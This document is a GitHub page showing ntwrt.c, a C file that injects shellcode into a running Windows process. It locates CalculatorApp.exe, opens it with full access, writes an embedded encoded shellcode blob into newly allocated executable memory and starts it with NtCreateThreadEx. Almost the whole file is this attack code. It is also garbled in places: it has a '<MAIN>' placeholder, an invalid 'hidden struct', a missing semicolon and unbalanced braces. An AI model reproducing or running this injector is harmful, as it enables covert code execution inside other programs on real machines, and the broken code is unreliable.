-
Notifications
You must be signed in to change notification settings - Fork 16
Expand file tree
/
Copy pathntwrt.c
More file actions
127 lines (113 loc) · 8.06 KB
/
Copy pathntwrt.c
File metadata and controls
127 lines (113 loc) · 8.06 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
// Define necessary structures and types
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
hidden struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
LARGE_INTEGER WorkingSetPrivateSize;
ULONG HardFaultCount;
ULONG NumberOfThreadsHighWatermark;
ULONGLONG CycleTime;
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
ULONG HandleCount;
ULONG SessionId;
ULONG_PTR UniqueProcessKey;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG PageFaultCount;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
SIZE_T QuotaPeakPagedPoolUsage;
SIZE_T QuotaPagedPoolUsage;
SIZE_T QuotaPeakNonPagedPoolUsage;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER ReadOperationCount;
LARGE_INTEGER WriteOperationCount;
LARGE_INTEGER OtherOperationCount;
LARGE_INTEGER ReadTransferCount;
LARGE_INTEGER WriteTransferCount;
LARGE_INTEGER OtherTransferCount;
} SYSTEM_PROCESS_INFORMATION;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
<MAIN>
{
UNICODE_STRING NtImagePath;
CLIENT_ID clientId = NULL;
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
clientId.UniqueThread = NULL;
ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
PVOID BaseAddress = NULL;
ULONG NumberOfBytesWritten = 0;
SIZE_T RegionSize = 0x2000;
DWORD p = NULL;
DWORD ZeroBits = 0;
DWORD dwRet = NULL;
NTSTATUS dwStatus = NULL;
DWORD SystemProcessInformation = 0x5;
DWORD nextEntry = 0;
DWORD imageName = 0;
DWORD newBaseAddress = 0;
DWORD processId = 0;
PVOID shellcode = "\x48\x31\xdb\x54\x5e\xb3\x8e\x66\x81\xe6\x90\xf3\xdb\xdd\x48\x0f\xae\x06\x49\xb9\x58\x9f\xce\xc4\x22\x27\xd6\x5f\x4c\x8b\x6e\x08\x48\xff\xcb\x4d\x31\x4c\xdd\x21\x48\x85\xdb\x75\xf3\x15\xae\x15\x1d\xe2\x6e\x5f\xbf\x10\x25\x29\x4d\x4a\x74\xe9\x72\x2f\x47\x8f\x77\xaa\x41\x97\xde\xb8\xcf\x39\x8d\x2d\x89\xd6\x12\xd3\xd7\xc6\x8d\xdd\xec\x9d\x6e\x0c\x46\xe3\x89\xa7\xfc\xa3\xac\xeb\x5e\x97\x68\x44\xd1\x65\xe1\x3e\xf7\x86\x63\x5d\xbd\x23\xcf\x07\xaa\xd9\xee\x72\x16\x56\x39\x89\x5e\xa9\x39\x1c\x42\x2a\xee\xb7\x5e\x59\x58\x55\x3b\xe5\x7a\x96\x5e\x23\x68\x68\xf9\x55\x71\x20\x31\x05\xeb\x0d\x58\xd5\xd8\x26\x65\xab\xb9\x42\x71\x2c\x31\xa0\xf8\x5c\x80\x52\x74\x12\x56\xc0\x38\x0b\x1c\xef\xb7\x6b\xf0\x8f\x86\x73\x2b\x92\x40\xd3\xda\x8b\xfc\x73\x15\x50\xfe\x3a\x7a\x43\x68\xa5\xa5\x7a\xfe\x08\x63\x99\xe5\xa4\xbc\xc9\x42\xbc\xfa\x4f\xd8\xbc\x1c\x4a\xf6\x04\xe9\x47\x56\xf4\x7a\xfb\x34\x75\x94\x47\xd2\x4c\x35\x4d\x78\xfd\xad\x52\xa3\x77\x31\x37\x48\xc6\x6f\xb9\x75\x77\x9c\x66\x04\x89\xf0\x00\x0f\x3c\x56\x3b\x45\xa2\xdb\xc0\x31\x80\xc3\xf3\x28\x26\x65\xb1\x79\x88\xcb\x7d\x62\x42\xb7\xb8\x4d\x22\x8a\x3f\x47\x6a\xb7\xb9\x31\x29\xcb\x43\x90\xbb\xb8\xb9\x4b\x19\xf7\x81\x15\x69\x55\x6d\xb3\xed\x2b\xd5\x78\x88\x7c\x71\xbe\x45\x45\x34\xa2\xef\xb3\xd6\xc8\x5f\xb4\xfb\x52\xf6\x87\x71\x8a\xed\x7b\xfb\xa2\x92\xcf\x08\x7d\x50\x64\xfb\xd8\x8a\xf2\xca\x3d\xfb\x77\xa8\x1a\x84\xa4\xf0\xc1\xb3\xb5\x1d\xab\x3c\x3a\xb8\xf0\x61\x91\x04\x61\x3e\x08\xa1\x97\xfb\x7f\x1e\xf2\x24\xe3\xa2\xe1\xfb\xfb\xfb\xa0\x26\x25\xc1\x08\xfb\x7f\x3e\xba\x24\x59\x30\x6d\x8f\x95\x30\xe8\x40\x48\xb1\x00\x7a\xf9\x0d\xeb\xad\x8a\x1d\x93\xf2\xa5\x04\x61\x3e\x48\x7b\x83\x8f\xbc\x4d\x3a\x0a\xe9\x88\xd9\xb8\xf6\x43\x6f\x1e\x68\xf0\xc1\x38\x74\xc4\xea\x6c\x68\xb8\x44\x73\x80\x2b\xa2\x6d\xb8\xb4\x4a\xf3\xd4\x05\xeb\xbc\x38\x7b\x89\xab\x17\x1a\xa2\x93\xa1\xb1\x4a\x87\x7c\x04\xeb\xba\x25\xc1\x08\xfb\xc5\x8c\x46\x2d\xa9\x39\xcc\xf2\xf5\x8d\xd2\x8c\x1d\x01\x8d\xb0\xb8\x68\xe2\x29\x51\x21\xb4\x6b\xac\x08\x61\x2c\x4c\xb9\xc0\x63\x92\x0d\x61\x60\x20\xb4\x4a\xf3\xe8\x05\xeb\xbc\x29\x7b\xc5\x3b\xb5\x14\xab\x34\x20\xf1\x11\xed\xad\x16\xab\x34\x29\xa9\x80\xe9\xbc\xcf\x06\x4c\x29\xa2\x3e\x53\xac\x0d\xb3\x36\x20\x7b\xd3\x5a\xbf\xb3\x15\x93\x35\xb8\xf0\x68\xa7\x05\x54\x1b\x01\x9e\xa8\xdd\x91\x38\xea\x2d\x3e\xb8\x48\x52\xbd\x8b\x28\x20\x1f\xd6\xc6\x4c\x21\x1f\xb9\x84\x3c\xf0\xc1\xb3\xb9\x23\x90\x05\x04\x9c\xa0\x9c\xc1\x62\xda\x4c\x40\xbd\xa0\xd0\x9d\x22\x9e\x03\x1b\x98\xfa\x93\xbd\x22\x9e\x09\x04\xd0\x8c\xd2\x97\x6c\xa5\x3f\x48\xa8\xe1\x82\xc0\x62\xdd\x57\x48\x82\xb7\x89\xc5\x7f\xd9\x42\x58\xd9\xe1\xf4\x91\x2f\x81\x03\x47\xc2\xf1\x82\xc4\x7c\xdb\x5c\x59\xd0\x87\xda\x86\x29\x8c\x03\x10\xdf\xf0\x80\xc7\x62\xda\x6c\x31\xa3\x9b\xfe\xc5\x8c\xa7\x5d\xa1\xa3\x92\xfa\x4e\x76\xbc\x15\xcf\xf0\xc1\xb3\xf4\xb3\x3f\x84\x66\xf0\xc1\xb3\xc5\x75\xd8\x42\x59\xc6\xf9\x9d\xc5\x62\xd8\x5c\x58\xf0\x9b\xfb\x7d\x8d\xa3\xab\xa8\x0b\xe1\xb3\xf4\x01\xdb\xa5\x3b\xa3\xab\xb0\xa7\x05\x50\x3b\xe1\x6f\x07\xb3\xf4\x4c\xea\x93\xbd\x18\x7c\xb3\xf4\x4c\xc5\x28\x18\xdd\x99\xf4\xb5\x22\x8c\x26\x22\x9e\xbb\xf6\x92\x05\xbe\x01\x5c\xb4\xf7\xda\x83\x78\xa5\x0b\x1c\xa6\xf6\xd7\xcd\x1c\xa8\x18\x07\x92\x95\x82\xbd\x20\x90\x1d\x2a\xc3\xf1\xe9\xc5\x3e\xc7\x0b\x5d\x9d\xb6\x87\xbb\x18\xb8\x16\x1d\xa5\xf5\x80\xcd\x34\xb2\x06\x0c\xb8\xb5\xdb\xbb\x7c\x80\x5d\x05\x9e\x84\xcb\xae\x1e\xdc\x2e\x25\xb4\xf0\xea\xbe\x15\x88\x2f\x5c\xa1\x80\x82\x82\x1f\xd9\x18\x2d\xc6\x8a\x8b\x90\x0a\xa8\x5e\x0f\xa5\xf1\xe6\xc7\x25\x84\x00\x02\x97\xb8\xe6\xa2\x3b\x8b\x35\x0b\xb7\x88\xe1\x95\x39\x9b\x1f\x19\xbd\x98\xc7\x92\x23\xbc\x5f\x5e\x8a\xb3\xcb\xb9\x7a\xa2\x20\x0f\x85\xb6\x87\x95\x38\x8f\x3b\x2a\xa0\xaf\xe2\xa3\x22\xaf\x29\x26\x98\xa5\x8b\x92\x1c\x9f\x58\x5d\x91\x84\x8a\xc3\x07\x8e\x02\x59\xbb\x87\x82\x91\x3c\xb2\x1d\x1b\xaf\xc1\xfb\x7d\x8d\xb9\x36\x29\xa8\x8c\x82\x3d\x1f\xa2\xd4\x68\xc2\x69\x37\xf4\x4c\xea\x6c\x38\xa3\x92\xfa\x33\x8e\x01\x39\x46\xcb\x3e\x66\xbc\xc5\x2c\x06\x62\xaf\x89\x3a\x05\x26\xf5\x36\x3a\x98\x41\x80\xf4\x4c\xa3\xe5\x88\x9a\xc5\xf2\xad\x05\x50\x19\x2e\x6e\x47\xb3\xf4\x4c\xea\x93\xbd\xbd\xf0\x73\xa7\x16\xa2\xe5\x99\xbd\xf0\x7a\xb9\x7d\x23\x3f\x3b\xb9\x06\x71\xd9\x4a\xf2\x17\x97\x25\x44\x73\x81\x53\xa2\xab\xa9\x78\xd2\xb3\xf4\x05\x50\x28\x98\xc5\x21\xb3\xf4\x4c\xea\x93\xbd\xb8\x3e\x7c\x80\x4e\x01\xc6\x80\xa5\xc1\xb3\xf4\x1f\xb3\x06\x28\xaa\x88\x3a\x25\x8d\x08\x7c\x21\x37\x01\xb3\xe4\x4c\xea\x25\xd2\xa8\x65\xe0\x11\x4c\xea\x6c\x68\x0f\x14\xfb\x67\x1f\xb9\x24\xe1\x17\x89\x3a\x05\x04\x63\xb6\x21\x37\x01\xb3\xd4\x4c\xea\x25\xe1\x09\x88\x09\xe6\xda\x63\x8e\x68\xf0\xc1\xb3\x0b\x99\xa2\xef\xac\xd0\x44\x73\x80\xfe\x8c\xe7\x6f\xb8\xc0\x70\x71\x8c\x9f\xbe\x30\x33\x99\xd9\xf4\x15\xa3\xab\xaa\x00\x74\x11\xa2\xb3\x3f\x22\xdb\xb3\x43\xce\xe3\x65\x34\xf2\xd2\x02\xea\x75\xcb\x25\x7a\x39\xc5";
while(TRUE){
NtAllocateVirtualMemory(GetCurrentProcess(), &BaseAddress, ZeroBits, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)
dwStatus = NtQuerySystemInformation(SystemProcessInformation, BaseAddress, RegionSize, &dwRet);
if (dwStatus == 0)
{
break;
}
dwRet += 0x2000;
RegionSize = dwRet;
BaseAddress = 0;
}
newBaseAddress = BaseAddress;
while(TRUE){
nextEntry = (SYSTEM_PROCESS_INFORMATION)newBaseAddress->NextEntryOffset;
if (nextEntry == 0)
{
break;
}
newBaseAddress += nextEntry;
imageName = (SYSTEM_PROCESS_INFORMATION)newBaseAddress->ImageName->Buffer;
InitUnicodeStr(NtImagePath, "CalculatorApp.exe");
if (imageName == NtImagePath)
{
processId = (SYSTEM_PROCESS_INFORMATION)newBaseAddress->UniqueProcessId;
break;
}
}
HANDLE hProcess = NULL;
CLIENT_ID ClientId;
ClientId.UniqueProcess = processId;
NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &ObjectAttributes, &ClientId);
BaseAddress = 0;
NtAllocateVirtualMemory(hProcess, &BaseAddress, ZeroBits, &RegionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
ULONG NumberOfBytesToWrite = sizeof(shellcode);
NtWriteVirtualMemory(hProcess, BaseAddress, shellcode, NumberOfBytesToWrite, &NumberOfBytesWritten);
HANDLE ThreadHandle = NULL;
NtCreateThreadEx(&ThreadHandle, 0x1FFFFF, NULL, hProcess, BaseAddress, NULL, NULL, NULL, NULL, NULL, NULL);
}
}